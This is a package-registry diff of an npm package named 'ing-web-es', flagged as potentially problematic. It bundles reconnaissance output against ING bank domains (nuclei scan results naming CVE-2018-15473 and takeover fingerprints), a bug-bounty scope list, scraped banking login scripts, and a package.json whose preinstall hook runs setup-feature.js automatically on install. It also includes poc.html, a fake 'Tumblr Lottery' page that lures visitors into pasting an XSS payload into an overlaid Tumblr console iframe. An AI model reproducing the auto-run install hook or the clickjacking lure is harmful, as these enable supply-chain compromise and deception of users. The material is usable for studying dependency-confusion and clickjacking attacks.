ing-web-es 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of ing-web-es might be problematic. Click here for more details.

Files changed (207) hide show
  1. package/45210.py +84 -0
  2. package/EMBEDDED_IFRAME_ON_WEB_PAGE.flv +0 -0
  3. package/FinalPoc.ogx +0 -0
  4. package/SCOPE_ing +20 -0
  5. package/brandportal.ing.com/dump-scripts.py +83 -0
  6. package/brandportal.ing.com/scripts/0b856f2a1ea6fe59346bec325dfe906bfa23babe05eb10ac9fe7f5b46196ae71.js +0 -0
  7. package/brandportal.ing.com/scripts/accounting.min.js +155 -0
  8. package/brandportal.ing.com/scripts/assetWindowContainer.bundle.js +23827 -0
  9. package/brandportal.ing.com/scripts/assets.js +1223 -0
  10. package/brandportal.ing.com/scripts/bootstrap-select.min.js +1287 -0
  11. package/brandportal.ing.com/scripts/bootstrap.min.js +1530 -0
  12. package/brandportal.ing.com/scripts/chosen.jquery.min.js +1238 -0
  13. package/brandportal.ing.com/scripts/core.main.js +1059 -0
  14. package/brandportal.ing.com/scripts/en_120.js +5247 -0
  15. package/brandportal.ing.com/scripts/hoverIntent.js +139 -0
  16. package/brandportal.ing.com/scripts/jquery-3.5.1.min.js +3242 -0
  17. package/brandportal.ing.com/scripts/jquery-ui-timepicker-addon.js +1471 -0
  18. package/brandportal.ing.com/scripts/jquery-ui.min.js +6711 -0
  19. package/brandportal.ing.com/scripts/jquery.are-you-sure.js +197 -0
  20. package/brandportal.ing.com/scripts/jquery.autotabs.js +42 -0
  21. package/brandportal.ing.com/scripts/jquery.backstretch.min.js +543 -0
  22. package/brandportal.ing.com/scripts/jquery.blockUI.js +442 -0
  23. package/brandportal.ing.com/scripts/jquery.datePicker.js +1151 -0
  24. package/brandportal.ing.com/scripts/jquery.dialogextend.2_0_4.pack.js +300 -0
  25. package/brandportal.ing.com/scripts/jquery.fileupload-audio.js +103 -0
  26. package/brandportal.ing.com/scripts/jquery.fileupload-image.js +313 -0
  27. package/brandportal.ing.com/scripts/jquery.fileupload-process.js +172 -0
  28. package/brandportal.ing.com/scripts/jquery.fileupload-ui.js +700 -0
  29. package/brandportal.ing.com/scripts/jquery.fileupload-validate.js +117 -0
  30. package/brandportal.ing.com/scripts/jquery.fileupload-video.js +103 -0
  31. package/brandportal.ing.com/scripts/jquery.fileupload.js +1451 -0
  32. package/brandportal.ing.com/scripts/jquery.form.js +892 -0
  33. package/brandportal.ing.com/scripts/jquery.number.min.js +150 -0
  34. package/brandportal.ing.com/scripts/jquery.ui.datepicker-en.js +26 -0
  35. package/brandportal.ing.com/scripts/jquery.ui.timepicker-en.js +6 -0
  36. package/brandportal.ing.com/scripts/jquery.validate.min.js +844 -0
  37. package/brandportal.ing.com/scripts/layout.bundle.js +673 -0
  38. package/brandportal.ing.com/scripts/load-image.all.min.js +770 -0
  39. package/brandportal.ing.com/scripts/local.bundle.js +310 -0
  40. package/brandportal.ing.com/scripts/moment.min.js +1562 -0
  41. package/brandportal.ing.com/scripts/nl.js +88 -0
  42. package/brandportal.ing.com/scripts/paginator.js +267 -0
  43. package/brandportal.ing.com/scripts/popper.min.js +844 -0
  44. package/brandportal.ing.com/scripts/selectAssetBrowser.bundle.js +47577 -0
  45. package/brandportal.ing.com/scripts/selectables.custom.js +174 -0
  46. package/brandportal.ing.com/scripts/slick.min.js +687 -0
  47. package/brandportal.ing.com/scripts/superfish.js +279 -0
  48. package/brandportal.ing.com/scripts/upload-main.js +90 -0
  49. package/brandportal.ing.com/scripts/video.min.js +12517 -0
  50. package/brandportal.ing.com/scripts/videojs.wavesurfer.min.js +495 -0
  51. package/brandportal.ing.com/scripts/wavesurfer.min.js +2775 -0
  52. package/burping.json +783 -0
  53. package/dump-scripts.py +83 -0
  54. package/ing.com.txt +365 -0
  55. package/ing.com_200List.txt +30 -0
  56. package/ing.com_DIRSEARCH.txt +8220 -0
  57. package/ing_notes +1 -0
  58. package/nmap +1224 -0
  59. package/nuclei_ing.com.txt +9 -0
  60. package/package.json +12 -0
  61. package/poc.html +116 -0
  62. package/scope.txt +141 -0
  63. package/scripts/0b856f2a1ea6fe59346bec325dfe906bfa23babe05eb10ac9fe7f5b46196ae71.js +0 -0
  64. package/scripts/AliasCtrl.js +0 -0
  65. package/scripts/ChangePasswordCtrl.js +0 -0
  66. package/scripts/CustomErrorCtrl.js +0 -0
  67. package/scripts/ErrorCtrl.js +0 -0
  68. package/scripts/HeaderCtrl.js +0 -0
  69. package/scripts/LoginValidationService.js +0 -0
  70. package/scripts/NipValidator.js +0 -0
  71. package/scripts/Psd2AliasCtrl.js +0 -0
  72. package/scripts/RegonValidator.js +0 -0
  73. package/scripts/SmsCtrl.js +0 -0
  74. package/scripts/TimeZoneInfoCollectorPanel-ver-1634885786000.js +2 -0
  75. package/scripts/accounting.min.js +155 -0
  76. package/scripts/angular-animate.min.js +0 -0
  77. package/scripts/angular-cookies.min.js +0 -0
  78. package/scripts/angular-translate.min.js +0 -0
  79. package/scripts/angular-ui-router.js +0 -0
  80. package/scripts/angular.min.js +0 -0
  81. package/scripts/assetWindowContainer.bundle.js +23827 -0
  82. package/scripts/assets.js +1223 -0
  83. package/scripts/bootstrap-select.min.js +1287 -0
  84. package/scripts/bootstrap.min.js +1530 -0
  85. package/scripts/chosen.jquery.min.js +1238 -0
  86. package/scripts/core.main.js +1059 -0
  87. package/scripts/criticalMessageService.js +0 -0
  88. package/scripts/data-dir-cookies-bar.js +0 -0
  89. package/scripts/data-dir-progress-pie.js +0 -0
  90. package/scripts/dir-critical-message.js +0 -0
  91. package/scripts/dir-login-keyboard.js +0 -0
  92. package/scripts/dir-login-validation.js +0 -0
  93. package/scripts/en_120.js +5247 -0
  94. package/scripts/environment.js +22 -0
  95. package/scripts/gemius-init.js +0 -0
  96. package/scripts/gemiusID.js +0 -0
  97. package/scripts/hoverIntent.js +139 -0
  98. package/scripts/ing-vendor.min-ver-1634885786000.js +2 -0
  99. package/scripts/ing-ver-1634885786000.js +2 -0
  100. package/scripts/jquery-3.5.1.min.js +3242 -0
  101. package/scripts/jquery-ui-timepicker-addon.js +1471 -0
  102. package/scripts/jquery-ui.min.js +6711 -0
  103. package/scripts/jquery.are-you-sure.js +197 -0
  104. package/scripts/jquery.autotabs.js +42 -0
  105. package/scripts/jquery.backstretch.min.js +543 -0
  106. package/scripts/jquery.blockUI.js +442 -0
  107. package/scripts/jquery.datePicker.js +1151 -0
  108. package/scripts/jquery.dialogextend.2_0_4.pack.js +300 -0
  109. package/scripts/jquery.fileupload-audio.js +103 -0
  110. package/scripts/jquery.fileupload-image.js +313 -0
  111. package/scripts/jquery.fileupload-process.js +172 -0
  112. package/scripts/jquery.fileupload-ui.js +700 -0
  113. package/scripts/jquery.fileupload-validate.js +117 -0
  114. package/scripts/jquery.fileupload-video.js +103 -0
  115. package/scripts/jquery.fileupload.js +1451 -0
  116. package/scripts/jquery.form.js +892 -0
  117. package/scripts/jquery.number.min.js +150 -0
  118. package/scripts/jquery.ui.datepicker-en.js +26 -0
  119. package/scripts/jquery.ui.timepicker-en.js +6 -0
  120. package/scripts/jquery.validate.min.js +844 -0
  121. package/scripts/jsbn-ver-1634886518000.js +2 -0
  122. package/scripts/layout.bundle.js +673 -0
  123. package/scripts/load-image.all.min.js +770 -0
  124. package/scripts/local.bundle.js +310 -0
  125. package/scripts/login-app.js +0 -0
  126. package/scripts/login-en.js +0 -0
  127. package/scripts/login-pl.js +0 -0
  128. package/scripts/login-states.js +0 -0
  129. package/scripts/main.js +23 -0
  130. package/scripts/mobileAuthCtrl.js +0 -0
  131. package/scripts/moment.min.js +1562 -0
  132. package/scripts/mon_ing_init.js +22 -0
  133. package/scripts/nl.js +88 -0
  134. package/scripts/paginator.js +267 -0
  135. package/scripts/pinLoginDefault-ver-1634885786000.js +2 -0
  136. package/scripts/popper.min.js +844 -0
  137. package/scripts/prng4-ver-1634886518000.js +2 -0
  138. package/scripts/psd2-states.js +0 -0
  139. package/scripts/rng-ver-1634886518000.js +2 -0
  140. package/scripts/rsa_jsbn-ver-1634886518000.js +2 -0
  141. package/scripts/selectAssetBrowser.bundle.js +47577 -0
  142. package/scripts/selectables.custom.js +174 -0
  143. package/scripts/sgemius.js +0 -0
  144. package/scripts/sha1.js +0 -0
  145. package/scripts/slick.min.js +687 -0
  146. package/scripts/superfish.js +279 -0
  147. package/scripts/upload-main.js +90 -0
  148. package/scripts/video.min.js +12517 -0
  149. package/scripts/videojs.wavesurfer.min.js +495 -0
  150. package/scripts/wavesurfer.min.js +2775 -0
  151. package/scripts/webtrekk_v4-ver-1634885786000.js +2 -0
  152. package/setup-feature.js +47 -0
  153. package/start.ingbusiness.pl/dump-scripts.py +83 -0
  154. package/start.ingbusiness.pl/form.html_v=202110040949 +52 -0
  155. package/start.ingbusiness.pl/scripts/0b856f2a1ea6fe59346bec325dfe906bfa23babe05eb10ac9fe7f5b46196ae71.js +0 -0
  156. package/start.ingbusiness.pl/scripts/AliasCtrl.js +136 -0
  157. package/start.ingbusiness.pl/scripts/ChangePasswordCtrl.js +162 -0
  158. package/start.ingbusiness.pl/scripts/CustomErrorCtrl.js +9 -0
  159. package/start.ingbusiness.pl/scripts/ErrorCtrl.js +30 -0
  160. package/start.ingbusiness.pl/scripts/HeaderCtrl.js +84 -0
  161. package/start.ingbusiness.pl/scripts/LoginService.js +86 -0
  162. package/start.ingbusiness.pl/scripts/LoginValidationService.js +52 -0
  163. package/start.ingbusiness.pl/scripts/NipValidator.js +30 -0
  164. package/start.ingbusiness.pl/scripts/PasswordCtrl.js +179 -0
  165. package/start.ingbusiness.pl/scripts/Psd2AliasCtrl.js +12 -0
  166. package/start.ingbusiness.pl/scripts/RegonValidator.js +73 -0
  167. package/start.ingbusiness.pl/scripts/RequestService.js +26 -0
  168. package/start.ingbusiness.pl/scripts/SmsCtrl.js +91 -0
  169. package/start.ingbusiness.pl/scripts/UnlockUserCtrl.js +79 -0
  170. package/start.ingbusiness.pl/scripts/angular-animate.min.js +1535 -0
  171. package/start.ingbusiness.pl/scripts/angular-cookies.min.js +62 -0
  172. package/start.ingbusiness.pl/scripts/angular-translate.min.js +871 -0
  173. package/start.ingbusiness.pl/scripts/angular-ui-router.js +1561 -0
  174. package/start.ingbusiness.pl/scripts/angular.min.js +9845 -0
  175. package/start.ingbusiness.pl/scripts/criticalMessageService.js +24 -0
  176. package/start.ingbusiness.pl/scripts/data-dir-button-loader.js +30 -0
  177. package/start.ingbusiness.pl/scripts/data-dir-compile-template.js +17 -0
  178. package/start.ingbusiness.pl/scripts/data-dir-cookies-bar.js +37 -0
  179. package/start.ingbusiness.pl/scripts/data-dir-progress-pie.js +102 -0
  180. package/start.ingbusiness.pl/scripts/data-dir-svg-icon.js +633 -0
  181. package/start.ingbusiness.pl/scripts/data-gemius-event.js +119 -0
  182. package/start.ingbusiness.pl/scripts/dir-critical-message.js +9 -0
  183. package/start.ingbusiness.pl/scripts/dir-help-panel-content.js +29 -0
  184. package/start.ingbusiness.pl/scripts/dir-login-keyboard.js +346 -0
  185. package/start.ingbusiness.pl/scripts/dir-login-validation.js +20 -0
  186. package/start.ingbusiness.pl/scripts/dir-nav-links.js +26 -0
  187. package/start.ingbusiness.pl/scripts/dir-title.js +21 -0
  188. package/start.ingbusiness.pl/scripts/gemius-init.js +12 -0
  189. package/start.ingbusiness.pl/scripts/gemiusID.js +32 -0
  190. package/start.ingbusiness.pl/scripts/hashService.js +91 -0
  191. package/start.ingbusiness.pl/scripts/helpPanelPasswordService.js +26 -0
  192. package/start.ingbusiness.pl/scripts/helpPanelService.js +92 -0
  193. package/start.ingbusiness.pl/scripts/jquery-3.5.1.min.js +3242 -0
  194. package/start.ingbusiness.pl/scripts/login-app.js +107 -0
  195. package/start.ingbusiness.pl/scripts/login-en.js +73 -0
  196. package/start.ingbusiness.pl/scripts/login-pl.js +74 -0
  197. package/start.ingbusiness.pl/scripts/login-states.js +156 -0
  198. package/start.ingbusiness.pl/scripts/maskService.js +194 -0
  199. package/start.ingbusiness.pl/scripts/maskUtilService.js +302 -0
  200. package/start.ingbusiness.pl/scripts/mobileAuthCtrl.js +189 -0
  201. package/start.ingbusiness.pl/scripts/psd2-states.js +67 -0
  202. package/start.ingbusiness.pl/scripts/securityPolicyService.js +119 -0
  203. package/start.ingbusiness.pl/scripts/sgemius.js +257 -0
  204. package/start.ingbusiness.pl/scripts/sha1.js +210 -0
  205. package/start.ingbusiness.pl/scripts/sprintf.js +115 -0
  206. package/start.ingbusiness.pl/scripts/tabletScalingService.js +59 -0
  207. package/start.ingbusiness.pl/scripts/userAgentResolverService.js +12 -0
@@ -0,0 +1,9 @@
1
+ [2021-10-25 18:22:55] [dns-waf-detect:cloudflare] [dns] [info] www.trad--ing.com
2
+ [2021-10-25 18:23:25] [starttls-mail-detect] [network] [info] m--ing.com:25
3
+ [2021-10-25 18:23:25] [starttls-mail-detect] [network] [info] www.m--ing.com:25
4
+ [2021-10-25 18:23:44] [can-i-take-over-dns-fingerprint:dnsimple] [dns] [info] www.b--ing.com
5
+ [2021-10-25 18:23:44] [can-i-take-over-dns-fingerprint:azure] [dns] [info] mailing.ing.com
6
+ [2021-10-25 18:24:21] [smtp-service-detection] [network] [info] m--ing.com:25
7
+ [2021-10-25 18:24:21] [smtp-service-detection] [network] [info] www.m--ing.com:25
8
+ [2021-10-25 18:28:34] [CVE-2018-15473] [network] [medium] m--ing.com:22
9
+ [2021-10-25 18:28:34] [CVE-2018-15473] [network] [medium] www.m--ing.com:22
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "ing-web-es",
3
+ "version": "1.0.0",
4
+ "description": "white hat poc",
5
+ "main": "setup-feature.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node setup-feature.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
package/poc.html ADDED
@@ -0,0 +1,116 @@
1
+ <!DOCTYPE html>
2
+ <html>
3
+ <head>
4
+
5
+ <title></title>
6
+ <meta charset="utf-8">
7
+ </head>
8
+ <style>
9
+
10
+ html{
11
+
12
+ background-color: #001935;
13
+ }
14
+
15
+
16
+ h1{
17
+ position: absolute;
18
+ top:39%;
19
+ left:10%;
20
+ color:white;
21
+ }
22
+
23
+ h3{
24
+ color:white;
25
+ text-align:center;
26
+ }
27
+
28
+ .iframeSite{
29
+ position: absolute;
30
+ top: 20%;
31
+ left: 40%;
32
+ height:280px;
33
+ width:360px;
34
+ border: 2px solid white;
35
+ padding:0px;
36
+
37
+ }
38
+
39
+ .copy{
40
+ border-color: #00b8ff;
41
+ background: #00b8ff;
42
+ color:white;
43
+ border-radius: 3px;
44
+ font-size:21px;
45
+ }
46
+
47
+ .block{
48
+ position: absolute;
49
+ top:20%;
50
+ left:40%;
51
+ background-color: #001935;
52
+ height:255px;
53
+ width:370px;
54
+ }
55
+
56
+ .block2{
57
+ position: absolute;
58
+ top:40%;
59
+ left:31%;
60
+ background-color: #001935;
61
+ height:200px;
62
+ width:370px;
63
+ }
64
+
65
+ .copy{
66
+ position: absolute;
67
+ top:42%;
68
+ left:25%;
69
+ color:white;
70
+
71
+ }
72
+
73
+
74
+ </style>
75
+ <body>
76
+
77
+
78
+
79
+ <h3>Welcome to tumblr lottery, click to copy, and paste the data coped into the input field</h3>
80
+ <h1>Tumblr Lottery</h1>
81
+ <input class="tocopy" style="background-color:white;font-size:1px;" value="https://&lt;img src=x onerror=alert(document.domain)&gt;">
82
+ <button class='copy'>Copy</button>
83
+
84
+
85
+
86
+
87
+ <div class='site'>
88
+ <iframe class='iframeSite' scrolling='no' frameborder='0' src='https://api.tumblr.com/console/calls/user/follow'></iframe>
89
+
90
+ <div class='block'>
91
+ </div>
92
+ <div class='block2'>
93
+ </div>
94
+ </div>
95
+
96
+
97
+ <script>
98
+
99
+ var tocopy = document.querySelector('.tocopy');
100
+ var copy = document.querySelector('.copy');
101
+
102
+ copy.addEventListener('click', function(){
103
+ tocopy.select();
104
+ document.execCommand('copy');
105
+ });
106
+
107
+ tocopy.addEventListener('click', function(){
108
+ tocopy.select();
109
+ });
110
+
111
+
112
+
113
+
114
+ </script>
115
+ </body>
116
+ </html>
package/scope.txt ADDED
@@ -0,0 +1,141 @@
1
+ business.ing.ro
2
+ Tier 1
3
+ URL
4
+
5
+ ebanking.ing.be
6
+ Tier 1
7
+ URL
8
+
9
+ homebank.ro
10
+ Tier 1
11
+ URL
12
+
13
+ ib.ing.cz
14
+ Tier 1
15
+ URL
16
+
17
+ ing.ingdirect.es
18
+ Tier 1
19
+ URL
20
+
21
+ ing.myleo.com
22
+ Tier 1
23
+ URL
24
+
25
+ insidebusiness.ingwb.com
26
+ Tier 1
27
+ URL
28
+
29
+ internetsubesi.ing.com.tr
30
+ Tier 1
31
+ URL
32
+
33
+ kurumsalinternetsubesi.ing.com.tr
34
+ Tier 1
35
+ URL
36
+
37
+ m.ing.fr
38
+ Tier 1
39
+ URL
40
+
41
+ megabank.nl
42
+ Tier 1
43
+ URL
44
+
45
+ mijn.ing.nl
46
+ Tier 1
47
+ URL
48
+
49
+ mijnzakelijk.ing.nl
50
+ Tier 1
51
+ URL
52
+
53
+ my.ing.lu
54
+ Tier 1
55
+ URL
56
+
57
+ myaccount.ing.com
58
+ Tier 1
59
+ URL
60
+
61
+ portal.inglease.pl
62
+ Tier 1
63
+ URL
64
+
65
+ secure.ing.it
66
+ Tier 1
67
+ URL
68
+
69
+ start.ingbusiness.pl
70
+ Tier 1
71
+ URL
72
+
73
+ www.ing.com.au
74
+ Tier 1
75
+ URL
76
+
77
+ www.ing.be
78
+ Tier 2
79
+ URL
80
+
81
+ www.ing.com
82
+ Tier 2
83
+ URL
84
+
85
+ www.ing.com.ph
86
+ Tier 2
87
+ URL
88
+
89
+ www.ing.com.tr
90
+ Tier 2
91
+ URL
92
+
93
+ www.ing.cz
94
+ Tier 2
95
+ URL
96
+
97
+ www.ing.es
98
+ Tier 2
99
+ URL
100
+
101
+ www.ing.fr
102
+ Tier 2
103
+ URL
104
+
105
+ www.ing.it
106
+ Tier 2
107
+ URL
108
+
109
+ www.ing.lu
110
+ Tier 2
111
+ URL
112
+
113
+ www.ing.nl
114
+ Tier 2
115
+ URL
116
+
117
+ www.ing.pl
118
+ Tier 2
119
+ URL
120
+
121
+ www.ing.ro
122
+ Tier 2
123
+ URL
124
+
125
+ www.ingcomfin.pl
126
+ Tier 2
127
+ URL
128
+
129
+ www.inglease.pl
130
+ Tier 2
131
+ URL
132
+
133
+ www.ingwb.com
134
+ Tier 2
135
+ URL
136
+
137
+ www.mendesgans.com
138
+ Tier 2
139
+ URL
140
+
141
+ www.twyp.com
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
@@ -0,0 +1,2 @@
1
+ < !doctype html > < html lang = "de" > < head > < title > HTTP Status 404– nicht gefunden < /title><style type="text/css
2
+ ">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 – nicht gefunden</h1></body></html>
@@ -0,0 +1,155 @@
1
+ /*!
2
+ * accounting.js v0.4.2, copyright 2014 Open Exchange Rates, MIT license, http://openexchangerates.github.io/accounting.js
3
+ */
4
+ (function(p, z) {
5
+ function q(a) {
6
+ return !!("" === a || a && a.charCodeAt && a.substr)
7
+ }
8
+
9
+ function m(a) {
10
+ return u ? u(a) : "[object Array]" === v.call(a)
11
+ }
12
+
13
+ function r(a) {
14
+ return "[object Object]" === v.call(a)
15
+ }
16
+
17
+ function s(a, b) {
18
+ var d, a = a || {},
19
+ b = b || {};
20
+ for (d in b) b.hasOwnProperty(d) && null == a[d] && (a[d] = b[d]);
21
+ return a
22
+ }
23
+
24
+ function j(a, b, d) {
25
+ var c = [],
26
+ e, h;
27
+ if (!a) return c;
28
+ if (w && a.map === w) return a.map(b, d);
29
+ for (e = 0, h = a.length; e < h; e++) c[e] = b.call(d, a[e], e, a);
30
+ return c
31
+ }
32
+
33
+ function n(a, b) {
34
+ a = Math.round(Math.abs(a));
35
+ return isNaN(a) ? b : a
36
+ }
37
+
38
+ function x(a) {
39
+ var b = c.settings.currency.format;
40
+ "function" === typeof a && (a = a());
41
+ return q(a) && a.match("%v") ? {
42
+ pos: a,
43
+ neg: a.replace("-", "").replace("%v", "-%v"),
44
+ zero: a
45
+ } : !a || !a.pos || !a.pos.match("%v") ? !q(b) ? b : c.settings.currency.format = {
46
+ pos: b,
47
+ neg: b.replace("%v", "-%v"),
48
+ zero: b
49
+ } : a
50
+ }
51
+ var c = {
52
+ version: "0.4.1",
53
+ settings: {
54
+ currency: {
55
+ symbol: "$",
56
+ format: "%s%v",
57
+ decimal: ".",
58
+ thousand: ",",
59
+ precision: 2,
60
+ grouping: 3
61
+ },
62
+ number: {
63
+ precision: 0,
64
+ grouping: 3,
65
+ thousand: ",",
66
+ decimal: "."
67
+ }
68
+ }
69
+ },
70
+ w = Array.prototype.map,
71
+ u = Array.isArray,
72
+ v = Object.prototype.toString,
73
+ o = c.unformat = c.parse = function(a, b) {
74
+ if (m(a)) return j(a, function(a) {
75
+ return o(a, b)
76
+ });
77
+ a = a || 0;
78
+ if ("number" === typeof a) return a;
79
+ var b = b || ".",
80
+ c = RegExp("[^0-9-" + b + "]", ["g"]),
81
+ c = parseFloat(("" + a).replace(/\((.*)\)/, "-$1").replace(c, "").replace(b, "."));
82
+ return !isNaN(c) ? c : 0
83
+ },
84
+ y = c.toFixed = function(a, b) {
85
+ var b = n(b, c.settings.number.precision),
86
+ d = Math.pow(10, b);
87
+ return (Math.round(c.unformat(a) * d) / d).toFixed(b)
88
+ },
89
+ t = c.formatNumber = c.format = function(a, b, d, i) {
90
+ if (m(a)) return j(a, function(a) {
91
+ return t(a, b, d, i)
92
+ });
93
+ var a = o(a),
94
+ e = s(r(b) ? b : {
95
+ precision: b,
96
+ thousand: d,
97
+ decimal: i
98
+ }, c.settings.number),
99
+ h = n(e.precision),
100
+ f = 0 > a ? "-" : "",
101
+ g = parseInt(y(Math.abs(a || 0), h), 10) + "",
102
+ l = 3 < g.length ? g.length % 3 : 0;
103
+ return f + (l ? g.substr(0, l) + e.thousand : "") + g.substr(l).replace(/(\d{3})(?=\d)/g, "$1" + e.thousand) + (h ? e.decimal + y(Math.abs(a), h).split(".")[1] : "")
104
+ },
105
+ A = c.formatMoney = function(a, b, d, i, e, h) {
106
+ if (m(a)) return j(a, function(a) {
107
+ return A(a, b, d, i, e, h)
108
+ });
109
+ var a = o(a),
110
+ f = s(r(b) ? b : {
111
+ symbol: b,
112
+ precision: d,
113
+ thousand: i,
114
+ decimal: e,
115
+ format: h
116
+ }, c.settings.currency),
117
+ g = x(f.format);
118
+ return (0 < a ? g.pos : 0 > a ? g.neg : g.zero).replace("%s", f.symbol).replace("%v", t(Math.abs(a), n(f.precision), f.thousand, f.decimal))
119
+ };
120
+ c.formatColumn = function(a, b, d, i, e, h) {
121
+ if (!a) return [];
122
+ var f = s(r(b) ? b : {
123
+ symbol: b,
124
+ precision: d,
125
+ thousand: i,
126
+ decimal: e,
127
+ format: h
128
+ }, c.settings.currency),
129
+ g = x(f.format),
130
+ l = g.pos.indexOf("%s") < g.pos.indexOf("%v") ? !0 : !1,
131
+ k = 0,
132
+ a = j(a, function(a) {
133
+ if (m(a)) return c.formatColumn(a, f);
134
+ a = o(a);
135
+ a = (0 < a ? g.pos : 0 > a ? g.neg : g.zero).replace("%s", f.symbol).replace("%v", t(Math.abs(a), n(f.precision), f.thousand, f.decimal));
136
+ if (a.length > k) k = a.length;
137
+ return a
138
+ });
139
+ return j(a, function(a) {
140
+ return q(a) && a.length < k ? l ? a.replace(f.symbol, f.symbol + Array(k - a.length + 1).join(" ")) : Array(k - a.length + 1).join(" ") + a : a
141
+ })
142
+ };
143
+ if ("undefined" !== typeof exports) {
144
+ if ("undefined" !== typeof module && module.exports) exports = module.exports = c;
145
+ exports.accounting = c
146
+ } else "function" === typeof define && define.amd ? define([], function() {
147
+ return c
148
+ }) : (c.noConflict = function(a) {
149
+ return function() {
150
+ p.accounting = a;
151
+ c.noConflict = z;
152
+ return c
153
+ }
154
+ }(p.accounting), p.accounting = c)
155
+ })(this);
File without changes
File without changes
File without changes
File without changes
File without changes